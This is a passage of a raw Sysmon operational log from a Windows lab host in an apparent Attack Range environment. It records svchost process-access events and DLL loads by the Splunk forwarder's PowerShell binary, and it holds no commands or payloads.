15:06:20.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.399{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.398{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.397{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.396{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.349{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000055468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.349{7BD73061-746C-613B-990B-00000000F001}12726048C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.349{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000055466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.334{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000055465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000055464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000055463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:20.102{7BD73061-746C-613B-990B-00000000F001}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft 